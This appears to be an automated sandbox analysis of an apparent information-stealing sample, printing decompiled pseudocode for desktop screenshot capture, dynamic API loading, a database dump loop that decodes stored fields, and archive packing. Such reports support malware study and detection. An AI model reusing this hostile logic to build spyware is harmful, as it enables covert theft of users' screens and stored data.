				E0040B0F0( &_v36, 0, 0, 0);
				E0040B2C0( &_v36, 0x10);
				_v36 = 1;
				_t5 =  &_v16; // 0x40632e
				_t50 =  *0x4201bc(_t5,  &_v36, 0); // executed
				if(_t50 == 0) {
					_t52 =  *0x420120(0, 1,  &_v20); // executed
					if(_t52 == 0) {
						_v12 = GetDesktopWindow();
						GetWindowRect(_v12,  &_v64);
						_v96 =  *0x42022c(_v12);
						_v68 =  *0x4200dc(_v96);
						_v44 =  *0x42005c(_v96, _v64.right, _v64.bottom);
						_v8 = SelectObject(_v68, _v44);
						 *0x420024(_v68, 0, 0, _v64.right, _v64.bottom, _v96, 0, 0, 0xcc0020);
						_t65 =  *0x420178(_v44, 0,  &_v72); // executed
						if(_t65 == 0) {
							if(E0040B750(L"image/jpeg",  &_v92) != 0xffffffff) {
								_t68 =  *0x420148(_v72, _v20,  &_v92, 0); // executed
								if(_t68 == 0) {
									_t70 =  *0x420028(_v20,  &_v76);
									GlobalFix(_v76);
									_v48 = _t70;
									_t71 = GlobalSize(_v76);
									_t100 =  *0x41fa58; // 0x8b3ef0
									_t37 =  &_a8; // 0x40632e
									E004133B0( *_t37, _t100, _v48, _t71);
									SelectObject(_v68, _v8);
									 *0x420088(_v72);
									_t41 =  &_v16; // 0x40632e
									 *0x42019c( *_t41);
									DeleteObject(_v44);
									DeleteObject(_v68);
									 *0x4201b8(_v12, _v96);
									CloseWindow(_v12); // executed
									return 0;
								}
								return 0;
							}
							return 0;
						}
						return 0;
					}
					return 0;
				}
				return 0;
			}

0x0040b89f
0x0040b8aa
0x0040b8af
0x0040b8bc
0x0040b8c0
0x0040b8c8
0x0040b8d9
0x0040b8e1
0x0040b8f0
0x0040b8fb
0x0040b90b
0x0040b918
0x0040b92d
0x0040b93e
0x0040b95e
0x0040b96e
0x0040b976
0x0040b993
0x0040b9aa
0x0040b9b2
0x0040b9c3
0x0040b9cd
0x0040b9d3
0x0040b9da
0x0040b9e5
0x0040b9ec
0x0040b9f0
0x0040ba00
0x0040ba0a
0x0040ba10
0x0040ba14
0x0040ba1e
0x0040ba28
0x0040ba36
0x0040ba40
0x00000000
0x0040ba46
0x00000000
0x0040b9b4
0x00000000
0x0040b995
0x00000000
0x0040b978
0x00000000
0x0040b8e3
0x00000000

Strings

image/jpeg, xrefs: 0040B983
.c@K, xrefs: 0040B9EC, 0040B9EF
.c@K, xrefs: 0040B8BC, 0040BA10, 0040B8BF, 0040BA13

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID: .c@K$.c@K$image/jpeg
API String ID: 0-141029644
Opcode ID: b0a742204f1f58f5cc8fb5c9971686a3f7107714d3b7039f565181c3b8033e51
Instruction ID: a1c6c90aae9354b10ec5775e1e6741b403f901737a9660b6b4b18df234224143
Opcode Fuzzy Hash: b0a742204f1f58f5cc8fb5c9971686a3f7107714d3b7039f565181c3b8033e51
Instruction Fuzzy Hash: 2951EC75A10208AFDB14DBE4DC44FAEB7B9EF4C700F548529F605E6291DB349942CB68

Uniqueness

Uniqueness Score: -1.00%

Function 0040BF00, Relevance: 21.1, APIs: 14, Instructions: 106
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040BF00(void* __ecx) {
				CHAR* _t2;
				_Unknown_base(*)()* _t4;
				_Unknown_base(*)()* _t5;
				struct HINSTANCE__* _t6;
				intOrPtr _t7;
				struct HINSTANCE__* _t9;
				CHAR* _t12;
				struct HINSTANCE__* _t14;
				CHAR* _t17;
				struct HINSTANCE__* _t19;
				CHAR* _t22;
				struct HINSTANCE__* _t24;
				CHAR* _t28;
				CHAR* _t29;
				struct HINSTANCE__* _t30;
				CHAR* _t31;
				struct HINSTANCE__* _t32;
				CHAR* _t33;
				struct HINSTANCE__* _t34;
				CHAR* _t35;
				struct HINSTANCE__* _t36;
				CHAR* _t37;
				struct HINSTANCE__* _t38;
				CHAR* _t39;
				intOrPtr _t40;
				struct HINSTANCE__* _t41;
				CHAR* _t42;
				struct HINSTANCE__* _t43;
				CHAR* _t44;
				struct HINSTANCE__* _t45;
				CHAR* _t46;
				struct HINSTANCE__* _t47;

				 *0x4201ec = E0040BDE0(__ecx);
				if( *0x4201ec != 0) {
					_t7 =  *0x41f9a0; // 0x8a7818
					_t30 =  *0x4201ec; // 0x74df0000
					 *0x4201a4 = E0040BE10(_t30, _t7);
					_t40 =  *0x41fc20; // 0x8a7830
					_t9 =  *0x4201ec; // 0x74df0000
					 *0x420104 = E0040BE10(_t9, _t40);
					_t31 =  *0x41fec0; // 0x8a7a40
					_t41 =  *0x4201ec; // 0x74df0000
					 *0x420214 = GetProcAddress(_t41, _t31);
					_t12 =  *0x41fae8; // 0x8aea98
					_t32 =  *0x4201ec; // 0x74df0000
					 *0x420030 = GetProcAddress(_t32, _t12);
					_t42 =  *0x41fd68; // 0x8ac320
					_t14 =  *0x4201ec; // 0x74df0000
					 *0x4201f0 = GetProcAddress(_t14, _t42);
					_t33 =  *0x41fc5c; // 0x8a7a58
					_t43 =  *0x4201ec; // 0x74df0000
					 *0x42015c = GetProcAddress(_t43, _t33);
					_t17 =  *0x41fc74; // 0x8a79c8
					_t34 =  *0x4201ec; // 0x74df0000
					 *0x420174 = GetProcAddress(_t34, _t17);
					_t44 =  *0x41ff7c; // 0x8a7a10
					_t19 =  *0x4201ec; // 0x74df0000
					 *0x420118 = GetProcAddress(_t19, _t44);
					_t35 =  *0x41fad0; // 0x8a79e0
					_t45 =  *0x4201ec; // 0x74df0000
					 *0x420194 = GetProcAddress(_t45, _t35);
					_t22 =  *0x41fe98; // 0x8a7998
					_t36 =  *0x4201ec; // 0x74df0000
					 *0x420200 = GetProcAddress(_t36, _t22);
					_t46 =  *0x41ff58; // 0x8ac340
					_t24 =  *0x4201ec; // 0x74df0000
					 *0x420184 = GetProcAddress(_t24, _t46);
					_t37 =  *0x41fbbc; // 0x8a79b0
					_t47 =  *0x4201ec; // 0x74df0000
					 *0x420070 = GetProcAddress(_t47, _t37);
				}
				_t2 =  *0x41f8a8; // 0x8a79f8
				 *0x41fffc = LoadLibraryA(_t2);
				_t28 =  *0x41fe00; // 0x8a7a28
				_t4 = LoadLibraryA(_t28); // executed
				 *0x4200c8 = _t4;
				if( *0x41fffc != 0) {
					_t39 =  *0x41fd40; // 0x890e48
					_t6 =  *0x41fffc; // 0x74b40000
					_t4 = GetProcAddress(_t6, _t39);
					 *0x4200d8 = _t4;
				}
				if( *0x4200c8 != 0) {
					_t29 =  *0x41f868; // 0x8ac440
					_t38 =  *0x4200c8; // 0x749a0000
					_t5 = GetProcAddress(_t38, _t29);
					 *0x420170 = _t5;
					return _t5;
				}
				return _t4;
			}

0x0040bf08
0x0040bf14
0x0040bf1a
0x0040bf20
0x0040bf2f
0x0040bf34
0x0040bf3b
0x0040bf49
0x0040bf4e
0x0040bf55
0x0040bf62
0x0040bf67
0x0040bf6d
0x0040bf7a
0x0040bf7f
0x0040bf86
0x0040bf92
0x0040bf97
0x0040bf9e
0x0040bfab
0x0040bfb0
0x0040bfb6
0x0040bfc3
0x0040bfc8
0x0040bfcf
0x0040bfdb
0x0040bfe0
0x0040bfe7
0x0040bff4
0x0040bff9
0x0040bfff
0x0040c00c
0x0040c011
0x0040c018
0x0040c024
0x0040c029
0x0040c030
0x0040c03d
0x0040c03d
0x0040c042
0x0040c04e
0x0040c053
0x0040c05a
0x0040c060
0x0040c06c
0x0040c06e
0x0040c075
0x0040c07b
0x0040c081
0x0040c081
0x0040c08d
0x0040c08f
0x0040c096
0x0040c09d
0x0040c0a3
0x00000000
0x0040c0a3
0x0040c0a9

APIs

GetProcAddress.KERNEL32(74DF0000,008A7A40), ref: 0040BF5C
GetProcAddress.KERNEL32(74DF0000,008AEA98), ref: 0040BF74
GetProcAddress.KERNEL32(74DF0000,008AC320), ref: 0040BF8C
GetProcAddress.KERNEL32(74DF0000,008A7A58), ref: 0040BFA5
GetProcAddress.KERNEL32(74DF0000,008A79C8), ref: 0040BFBD
GetProcAddress.KERNEL32(74DF0000,008A7A10), ref: 0040BFD5
GetProcAddress.KERNEL32(74DF0000,008A79E0), ref: 0040BFEE
GetProcAddress.KERNEL32(74DF0000,008A7998), ref: 0040C006
GetProcAddress.KERNEL32(74DF0000,008AC340), ref: 0040C01E
GetProcAddress.KERNEL32(74DF0000,008A79B0), ref: 0040C037
LoadLibraryA.KERNEL32(008A79F8,?,0040669E), ref: 0040C048
LoadLibraryA.KERNEL32(008A7A28,?,0040669E), ref: 0040C05A
GetProcAddress.KERNEL32(74B40000,00890E48), ref: 0040C07B
GetProcAddress.KERNEL32(749A0000,008AC440), ref: 0040C09D

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: 735530e2fa9e07f2d37434b02afb922d5e60d54f90e782bb5148914905ba93be
Instruction ID: 88c20497905d98f76380248bf2ee82ac3a06137fef60c31b52ca794f34a0740a
Opcode Fuzzy Hash: 735530e2fa9e07f2d37434b02afb922d5e60d54f90e782bb5148914905ba93be
Instruction Fuzzy Hash: B94193B5710200DFC365DFA8FD89A6A37E9B7493017808539E509C3272DB369927CB5C

Uniqueness

Uniqueness Score: -1.00%

Function 00407E60, Relevance: 19.7, APIs: 13, Instructions: 155
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 49%

			E00407E60(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				char _v8;
				char _v276;
				char _v280;
				CHAR* _v284;
				CHAR* _v288;
				CHAR* _v292;
				CHAR* _v296;
				CHAR* _t42;
				void* _t45;
				void* _t47;
				void* _t52;
				void* _t53;
				void* _t66;
				CHAR* _t68;
				CHAR* _t70;
				CHAR* _t92;
				intOrPtr _t97;
				CHAR* _t101;
				void* _t108;
				void* _t110;
				void* _t111;
				void* _t114;

				E0040B2C0( &_v276, 0x104);
				_t42 =  *0x41fc6c; // 0x8b41f0
				wsprintfA( &_v276, _t42, _a12, _a8);
				_t45 =  *0x41ffd8(_a4,  &_v8); // executed
				_t110 = _t108 + 0x18;
				if(_t45 == 0) {
					_t97 =  *0x41f97c; // 0x8a7e88
					_t47 =  *0x41ff90(_v8, _t97, 0xffffffff,  &_v280, 0); // executed
					_t111 = _t110 + 0x14;
					if(_t47 != 0) {
						L6:
						 *0x41ffb0(_v280);
						return  *0x41ffdc(_v8);
					}
					_t52 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f); // executed
					_v284 = _t52;
					while(1) {
						_t53 =  *0x41ffac(_v280);
						_t114 = _t111 + 4;
						if(_t53 != 0x64) {
							break;
						}
						_v292 =  *0x41ffc8(_v280, 0);
						_v288 =  *0x41ffc8(_v280, 1);
						_v296 =  *0x41ffc8(_v280, 2);
						_t101 =  *0x41f9b8; // 0x8b4208
						lstrcatA(_v284, _t101);
						_t66 =  *0x41ffb8(_v280, 3, _a16, _a20);
						_t68 = E00406DF0( *0x41ffc0(), _v280, 3, _t66);
						_t111 = _t114 + 0x38;
						lstrcatA(_v284, _t68);
						_t70 =  *0x41fc34; // 0x8b4268
						lstrcatA(_v284, _t70);
						lstrcatA(_v284, _v292);
						_t92 =  *0x41f908; // 0x8b3c38
						lstrcatA(_v284, _t92);
						lstrcatA(_v284, _v288);
						lstrcatA(_v284, "/");
						lstrcatA(_v284, _v296);
						lstrcatA(_v284, "\n\n");
					}
					E004133B0(_a24,  &_v276, _v284,  *0x42009c(_v284));
					_t111 = _t114 + 0x10;
					E0040B2C0( &_v284, 4);
					goto L6;
				}
				return _t45;
			}

0x00407e75
0x00407e82
0x00407e8f
0x00407ea0
0x00407ea6
0x00407eab
0x00407ebc
0x00407ec7
0x00407ecd
0x00407ed2
0x0040806d
0x00408074
0x00000000
0x00408087
0x00407ee6
0x00407eec
0x00407ef2
0x00407ef9
0x00407eff
0x00407f05
0x00000000
0x00000000
0x00407f1d
0x00407f35
0x00407f4d
0x00407f53
0x00407f61
0x00407f78
0x00407f95
0x00407f9a
0x00407fa5
0x00407fab
0x00407fb8
0x00407fcc
0x00407fd2
0x00407fe0
0x00407ff4
0x00408006
0x0040801a
0x0040802c
0x0040802c
0x00408057
0x0040805c
0x00408068
0x00000000
0x00408068
0x0040808d

APIs

wsprintfA.USER32 ref: 00407E8F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00407EDF
RtlAllocateHeap.NTDLL(00000000), ref: 00407EE6
lstrcatA.KERNEL32(?,008B4208), ref: 00407F61

Part of subcall function 00406DF0: _memset.LIBCMT ref: 00406E42
Part of subcall function 00406DF0: LocalAlloc.KERNEL32(00000040,?), ref: 00406E91
Part of subcall function 00406DF0: lstrcatA.KERNEL32(?,00000000,?,00001388), ref: 00406EF7

lstrcatA.KERNEL32(?,00000000), ref: 00407FA5
lstrcatA.KERNEL32(?,008B4268), ref: 00407FB8
lstrcatA.KERNEL32(?,?), ref: 00407FCC
lstrcatA.KERNEL32(?,008B3C38), ref: 00407FE0
lstrcatA.KERNEL32(?,?), ref: 00407FF4
lstrcatA.KERNEL32(?,0041D930), ref: 00408006
lstrcatA.KERNEL32(?,?), ref: 0040801A
lstrcatA.KERNEL32(?,0041D300), ref: 0040802C
lstrlen.KERNEL32(?), ref: 0040803E

Memory Dump Source

Source File: 00000016.00000002.524651161.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: lstrcat$Heap$AllocAllocateLocalProcess_memsetlstrlenwsprintf
String ID:
API String ID: 1380208686-0
Opcode ID: f1e1294b9add4211f3ea5ecde47cfe5a1283e2b97436d5516e0245a303846082
Instruction ID: c784f41fe2d0b9fe41b9bf798e5b12206355ce9d3061171f60e39c2230967fe4
Opcode Fuzzy Hash: f1e1294b9add4211f3ea5ecde47cfe5a1283e2b97436d5516e0245a303846082
Instruction Fuzzy Hash: 0A5178B1A00118AFCB24DFA4DC4AFDA7378AF48701F0085A5F709D3251DB759A96CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 004124A0, Relevance: 18.2, APIs: 6, Strings: 4, Instructions: 688
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004124A0(signed int* __ecx, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				signed int _v8;
				char _v9;
				char _v20;
				signed int _v24;
				signed int _v28;
				signed int _v29;
				signed int _v30;
				char _v44;
				char _v308;
				signed int _v312;
				signed int _v313;
				signed int _v320;
				void* _v324;
				char _v328;
				char _v329;
				char _v330;
				char _v331;
				char _v332;
				char _v333;
				char _v334;
				char _v335;
				char _v336;
				char _v337;
				char _v338;
				char _v339;
				char _v340;
				char _v341;
				char _v342;
				char _v343;
				char _v344;
				signed int _v352;
				signed int _v356;
				signed int _v364;
				char _v624;
				char _v884;
				signed int _v888;
				signed int _v892;
				signed int _v896;
				char _v1156;
				intOrPtr _v1160;
				signed int _v1164;
				short _v1168;
				short _v1170;
				short _v1172;
				signed int _v1176;
				signed int _v1180;
				signed int _v1184;
				signed int _v1188;
				signed int _v1192;
				signed int _v1196;
				signed int _v1200;
				unsigned int _v1204;
				signed int _v1206;
				signed int _v1208;
				short _v1210;
				void _v1212;
				signed int _v1216;
				char* _v1220;
				signed char* _v1224;
				signed int _v1228;
				signed int _v1232;
				signed int _v1236;
				signed int _v1240;
				void* _v1244;
				signed int* _v1248;
				intOrPtr* _v1252;
				char* _v1256;
				intOrPtr _v1260;
				char _v1261;
				intOrPtr* _v1268;
				signed int _v1272;
				char _v1273;
				intOrPtr _v1280;
				signed int _v1284;
				intOrPtr* _v1288;
				char* _v1292;
				intOrPtr _v1296;
				char _v1297;
				intOrPtr* _v1304;
				signed int _v1308;
				char _v1309;
				signed int _v1316;
				signed int _v1320;
				char _v1321;
				signed int _v1328;
				signed int _v1332;
				char _t427;
				signed int _t461;
				signed int _t464;
				signed int* _t467;
				signed char _t503;
				signed char _t507;
				signed int _t515;
				signed char _t521;
				signed int _t523;
				signed int _t527;
				signed int _t542;
				signed char _t548;
				signed int _t551;
				signed int* _t559;
				char _t574;
				intOrPtr* _t596;
				signed int* _t611;
				signed int _t619;
				signed int _t630;
				signed int _t637;
				signed int _t643;
				signed int* _t647;
				intOrPtr _t656;
				signed int _t669;
				signed int* _t710;
				signed int _t719;
				signed int* _t720;
				signed int* _t723;
				signed int _t737;
				signed int _t742;
				char _t743;
				int _t759;
				void* _t760;
				void* _t761;
				void* _t762;

				_v1248 = __ecx;
				if(_v1248[5] == 0) {
					_t559 = _v1248;
					__eflags =  *(_t559 + 0x2c) & 0x000000ff;
					if(( *(_t559 + 0x2c) & 0x000000ff) == 0) {
						_v320 = 0;
						__eflags =  *_v1248;
						if( *_v1248 != 0) {
							__eflags = _a16 - 4;
							if(_a16 != 4) {
								_v320 = 0xc;
							}
						}
						_v1252 = _a4;
						_v1256 =  &_v308;
						_v1260 = _v1256;
						do {
							_v1261 =  *_v1252;
							 *_v1256 = _v1261;
							_v1252 = _v1252 + 1;
							_v1256 = _v1256 + 1;
							__eflags = _v1261;
						} while (_v1261 != 0);
						__eflags = _v308;
						if(_v308 != 0) {
							_v1220 =  &_v308;
							while(1) {
								__eflags =  *_v1220;
								if( *_v1220 == 0) {
									break;
								}
								__eflags =  *_v1220 - 0x5c;
								if( *_v1220 == 0x5c) {
									 *_v1220 = 0x2f;
								}
								_v1220 = _v1220 + 1;
							}
							__eflags = _a16 - 4;
							_v29 = 0 | _a16 == 0x00000004;
							__eflags = _v29 & 0x000000ff;
							if((_v29 & 0x000000ff) == 0) {
								L21:
								_v1284 = 0;
								L22:
								_v30 = _v1284;
								_v28 = 8;
								__eflags = _v29 & 0x000000ff;
								if((_v29 & 0x000000ff) != 0) {
									L24:
									_v28 = 0;
									L25:
									__eflags = _a16 - 2;
									if(_a16 != 2) {
										__eflags = _a16 - 1;
										if(_a16 != 1) {
											__eflags = _a16 - 3;
											if(_a16 != 3) {
												__eflags = _a16 - 4;
												if(__eflags != 0) {
													return 0x10000;
												}
												_v24 = E00411FA0(_v1248, __eflags);
												L34:
												__eflags = _v24;
												if(_v24 == 0) {
													_v352 = 0;
													_t427 =  *0x4187ce; // 0x0
													_v1156 = _t427;
													_v1288 =  &_v308;
													_v1292 =  &_v884;
													_v1296 = _v1292;
													do {
														_v1297 =  *_v1288;
														 *_v1292 = _v1297;
														_v1288 = _v1288 + 1;
														_v1292 = _v1292 + 1;
														__eflags = _v1297;
													} while (_v1297 != 0);
													_v1304 =  &_v884;
													_t669 = _v1304 + 1;
													__eflags = _t669;
													_v1308 = _t669;
													do {
														_v1309 =  *_v1304;
														_v1304 = _v1304 + 1;
														__eflags = _v1309;
													} while (_v1309 != 0);
													_v1316 = _v1304 - _v1308;
													_v1188 = _v1316;
													__eflags = _v30 & 0x000000ff;
													if((_v30 & 0x000000ff) == 0) {
														L44:
														_t574 =  *0x4187ce; // 0x0
														_v624 = _t574;
														_v896 = 0;
														_v1184 = 0;
														_v892 = 0;
														_v1180 = 0;
														_v888 = 0;
														_v1176 = 0;
														_v364 = 1;
														_v356 = 0;
														_v1170 = 0;
														_v1212 = 0xb17;
														_v1210 = 0x14;
														_v1204 = _v1248[0x1a];
														_v1200 = 0;
														_v1208 = 8;
														__eflags =  *_v1248;
														if( *_v1248 != 0) {
															__eflags = _v29 & 0x000000ff;
															if((_v29 & 0x000000ff) == 0) {
																_v1208 = 9;
															}
														}
														_v1168 = _v1208;
														_v1206 = _v28;
														__eflags = _v28;
														if(_v28 != 0) {
															L50:
															_v1328 = 0;
															goto L51;
														} else {
															_t647 = _v1248;
															__eflags =  *(_t647 + 0x70);
															if( *(_t647 + 0x70) < 0) {
																goto L50;
															}
															_v1328 = _v1248[0x1c] + _v320;
															L51:
															_v1196 = _v1328;
															_v1192 = _v1248[0x1c];
															_v1172 = 0;
															_v1164 = _v1248[0x13];
															_v1160 = _v1248[6] + _v1248[4];
															_v896 =  &_v344;
															_v1184 = 0x11;
															_v892 =  &_v44;
															_v1180 = 9;
															_v344 = 0x55;
															_v343 = 0x54;
															_v342 = 0xd;
															_v341 = 0;
															_v340 = 7;
															_v339 = _v1248[0x16];
															_v338 = E00416790(_v1248[0x16], 8, _v1248[0x17]);
															_v337 = E00416790(_v1248[0x16], 0x10, _v1248[0x17]);
															_v336 = E00416790(_v1248[0x16], 0x18, _v1248[0x17]);
															_v335 = _v1248[0x14];
															_v334 = E00416790(_v1248[0x14], 8, _v1248[0x15]);
															_v333 = E00416790(_v1248[0x14], 0x10, _v1248[0x15]);
															_v332 = E00416790(_v1248[0x14], 0x18, _v1248[0x15]);
															_v331 = _v1248[0x18];
															_v330 = E00416790(_v1248[0x18], 8, _v1248[0x19]);
															_v329 = E00416790(_v1248[0x18], 0x10, _v1248[0x19]);
															_v328 = E00416790(_v1248[0x18], 0x18, _v1248[0x19]);
															_t461 = _v896;
															_t596 = _v892;
															 *_t596 =  *_t461;
															 *((intOrPtr*)(_t596 + 4)) =  *((intOrPtr*)(_t461 + 4));
															 *((char*)(_t596 + 8)) =  *((intOrPtr*)(_t461 + 8));
															 *((char*)(_v892 + 2)) = 5;
															_t464 = E0040FF80( &_v1212, E00411950, _v1248);
															_t762 = _t761 + 0xc;
															_v1216 = _t464;
															__eflags = _v1216;
															if(_v1216 == 0) {
																_v1248[6] = _v1188 + _v1184 + 0x1e + _v1248[6];
																_t467 = _v1248;
																__eflags =  *(_t467 + 0x14);
																if( *(_t467 + 0x14) == 0) {
																	_v1248[0xc] = 0x12345678;
																	_v1248[0xd] = 0x23456789;
																	_v1248[0xe] = 0x34567890;
																	_v1224 =  *_v1248;
																	while(1) {
																		__eflags = _v1224;
																		if(_v1224 == 0) {
																			break;
																		}
																		__eflags =  *_v1224;
																		if( *_v1224 == 0) {
																			break;
																		}
																		E00410FC0( &(_v1248[0xc]),  *_v1224 & 0x000000ff);
																		_t762 = _t762 + 8;
																		_t643 =  &(_v1224[1]);
																		__eflags = _t643;
																		_v1224 = _t643;
																	}
																	__eflags =  *0x420400 & 0x000000ff;
																	if(( *0x420400 & 0x000000ff) == 0) {
																		_t527 = GetTickCount();
																		_t759 = _t527 ^ GetDesktopWindow();
																		__eflags = _t759;
																		srand(_t759);
																		_t762 = _t762 + 4;
																	}
																	_v1228 = 0;
																	while(1) {
																		__eflags = _v1228 - 0xc;
																		if(_v1228 >= 0xc) {
																			break;
																		}
																		 *((char*)(_t760 + _v1228 - 0x10)) = rand() >> 0x00000007 & 0x000000ff;
																		_t737 = _v1228 + 1;
																		__eflags = _t737;
																		_v1228 = _t737;
																	}
																	_v9 = _v1204 >> 0x00000008 & 0x000000ff;
																	_v1232 = 0;
																	while(1) {
																		__eflags = _v1232 - 0xc;
																		if(__eflags >= 0) {
																			break;
																		}
																		_t521 = E00411070(_v1232, __eflags,  &(_v1248[0xc]),  *(_t760 + _v1232 - 0x10) & 0x000000ff);
																		_t762 = _t762 + 8;
																		 *(_t760 + _v1232 - 0x10) = _t521;
																		_t523 = _v1232 + 1;
																		__eflags = _t523;
																		_v1232 = _t523;
																	}
																	__eflags =  *_v1248;
																	if( *_v1248 != 0) {
																		__eflags = _v29 & 0x000000ff;
																		if((_v29 & 0x000000ff) == 0) {
																			E00411950( &_v20, _v1248,  &_v20, 0xc);
																			_t762 = _t762 + 0xc;
																			_t637 = _v1248[6] + 0xc;
																			__eflags = _t637;
																			_v1248[6] = _t637;
																		}
																	}
																	_v8 = 0;
																	__eflags =  *_v1248;
																	if( *_v1248 == 0) {
																		L76:
																		_v1332 = 0;
																		goto L77;
																	} else {
																		__eflags = _v29 & 0x000000ff;
																		if((_v29 & 0x000000ff) != 0) {
																			goto L76;
																		}
																		_v1332 = 1;
																		L77:
																		_v1248[0xb] = _v1332;
																		__eflags = _v29 & 0x000000ff;
																		if((_v29 & 0x000000ff) != 0) {
																			L80:
																			__eflags = _v29 & 0x000000ff;
																			if((_v29 & 0x000000ff) != 0) {
																				L83:
																				__eflags = _v29 & 0x000000ff;
																				if((_v29 & 0x000000ff) != 0) {
																					_v1248[0x24] = 0;
																				}
																				L85:
																				_v1248[0xb] = 0;
																				E00412200(_v1248);
																				_v1248[6] = _v1248[6] + _v1248[0x24];
																				_t710 = _v1248;
																				__eflags =  *(_t710 + 0x14);
																				if( *(_t710 + 0x14) == 0) {
																					__eflags = _v8;
																					if(_v8 == 0) {
																						__eflags = _v1196 - _v1248[0x24] + _v320;
																						_v313 = 0 | _v1196 == _v1248[0x24] + _v320;
																						_v1200 = _v1248[0x1e];
																						_v1196 = _v1248[0x24] + _v320;
																						_v1192 = _v1248[0x1c];
																						_t611 = _v1248;
																						__eflags =  *(_t611 + 0x1c) & 0x000000ff;
																						if(( *(_t611 + 0x1c) & 0x000000ff) == 0) {
																							L101:
																							__eflags = (_v1206 & 0x0000ffff) - (_v28 & 0x0000ffff);
																							if((_v1206 & 0x0000ffff) == (_v28 & 0x0000ffff)) {
																								__eflags = _v28;
																								if(_v28 != 0) {
																									L106:
																									_v1216 = E00410390( &_v1212, E00411950, _v1248);
																									__eflags = _v1216;
																									if(_v1216 == 0) {
																										_t719 = _v1248[6] + 0x10;
																										__eflags = _t719;
																										_v1248[6] = _t719;
																										_v1208 = _v1168;
																										L109:
																										_t720 = _v1248;
																										__eflags =  *(_t720 + 0x14);
																										if( *(_t720 + 0x14) == 0) {
																											_v1240 = E0040B130(_v1180, _v1180);
																											_v312 = _v1240;
																											E00416170(_v312, _v892, _v1180);
																											_v892 = _v312;
																											_v1244 = E0040B130(_v892, 0x360);
																											_v324 = _v1244;
																											memcpy(_v324,  &_v1212, 0xd8 << 2);
																											_t723 = _v1248;
																											__eflags =  *(_t723 + 0x44);
																											if( *(_t723 + 0x44) != 0) {
																												_v1236 = _v1248[0x11];
																												while(1) {
																													_t619 = _v1236;
																													__eflags =  *(_t619 + 0x35c);
																													if( *(_t619 + 0x35c) == 0) {
																														break;
																													}
																													_v1236 =  *((intOrPtr*)(_v1236 + 0x35c));
																												}
																												 *((intOrPtr*)(_v1236 + 0x35c)) = _v324;
																												L117:
																												__eflags = 0;
																												return 0;
																											}
																											_v1248[0x11] = _v324;
																											goto L117;
																										}
																										return _v1248[5];
																									}
																									return 0x400;
																								}
																								__eflags = _v313 & 0x000000ff;
																								if((_v313 & 0x000000ff) != 0) {
																									goto L106;
																								}
																								return 0x4000000;
																							}
																							return 0x4000000;
																						}
																						__eflags =  *_v1248;
																						if( *_v1248 == 0) {
																							L92:
																							_v1206 = _v28;
																							__eflags = _v1208 & 1;
																							if((_v1208 & 1) == 0) {
																								_t630 = _v1208 & 0xfff7;
																								__eflags = _t630;
																								_v1208 = _t630;
																							}
																							_v1168 = _v1208;
																							_t503 = E00411B00(_v1248, _v1160 - _v1248[4]);
																							__eflags = _t503 & 0x000000ff;
																							if((_t503 & 0x000000ff) != 0) {
																								_v1216 = E0040FF80( &_v1212, E00411950, _v1248);
																								__eflags = _v1216;
																								if(_v1216 == 0) {
																									_t507 = E00411B00(_v1248, _v1248[6]);
																									__eflags = _t507 & 0x000000ff;
																									if((_t507 & 0x000000ff) != 0) {
																										goto L109;
																									}
																									return 0x2000000;
																								}
																								return 0x400;
																							} else {
																								return 0x2000000;
																							}
																						}
																						__eflags = _v29 & 0x000000ff;
																						if((_v29 & 0x000000ff) == 0) {
																							goto L101;
																						}
																						goto L92;
																					}
																					return 0x400;
																				}
																				return _v1248[5];
																			}
																			__eflags = _v28;
																			if(__eflags != 0) {
																				goto L83;
																			}
																			_v8 = E00412420(_v1248, __eflags);
																			goto L85;
																		}
																		__eflags = _v28 - 8;
																		if(_v28 != 8) {
																			goto L80;
																		}
																		_t515 = E00412290(_v1248,  &_v1212); // executed
																		_v8 = _t515;
																		goto L85;
																	}
																}
																E00412200(_v1248);
																return _v1248[5];
															}
															E00412200(_v1248);
															return 0x400;
														}
													}
													_t742 =  &_v884 + 0xffffffff;
													__eflags = _t742;
													_v1320 = _t742;
													do {
														_v1321 =  *((intOrPtr*)(_v1320 + 1));
														_v1320 = _v1320 + 1;
														__eflags = _v1321;
													} while (_v1321 != 0);
													_t743 = "/"; // 0x2f
													 *_v1320 = _t743;
													_t542 = _v1188 + 1;
													__eflags = _t542;
													_v1188 = _t542;
													goto L44;
												}
												return _v24;
											}
											_v24 = E00411E70(_v1248, _a8, _a12);
											goto L34;
										}
										_v24 = E00411CC0(_v1248, _a8, _a12);
										goto L34;
									}
									_v24 = E00411BF0(_v1248, _a8);
									goto L34;
								}
								_t548 = E004110B0( &_v308);
								_t761 = _t761 + 4;
								__eflags = _t548 & 0x000000ff;
								if((_t548 & 0x000000ff) == 0) {
									goto L25;
								}
								goto L24;
							}
							_v1268 =  &_v308;
							_t551 = _v1268 + 1;
							__eflags = _t551;
							_v1272 = _t551;
							do {
								_v1273 =  *_v1268;
								_v1268 = _v1268 + 1;
								__eflags = _v1273;
							} while (_v1273 != 0);
							_v1280 = _v1268 - _v1272;
							_t656 = _v1280;
							__eflags =  *((char*)(_t760 + _t656 - 0x131)) - 0x2f;
							if( *((char*)(_t760 + _t656 - 0x131)) == 0x2f) {
								goto L21;
							}
							_v1284 = 1;
							goto L22;
						}
						return 0x10000;
					}
					return 0x50000;
				}
				return 0x40000;
			}

0x004124ab
0x004124bb
0x004124c7
0x004124d1
0x004124d3
0x004124df
0x004124ef
0x004124f2
0x004124f4
0x004124f8
0x004124fa
0x004124fa
0x004124f8
0x00412507
0x00412513
0x0041251f
0x00412525
0x0041252d
0x0041253f
0x0041254a
0x00412559
0x0041255f
0x0041255f
0x0041256f
0x00412571
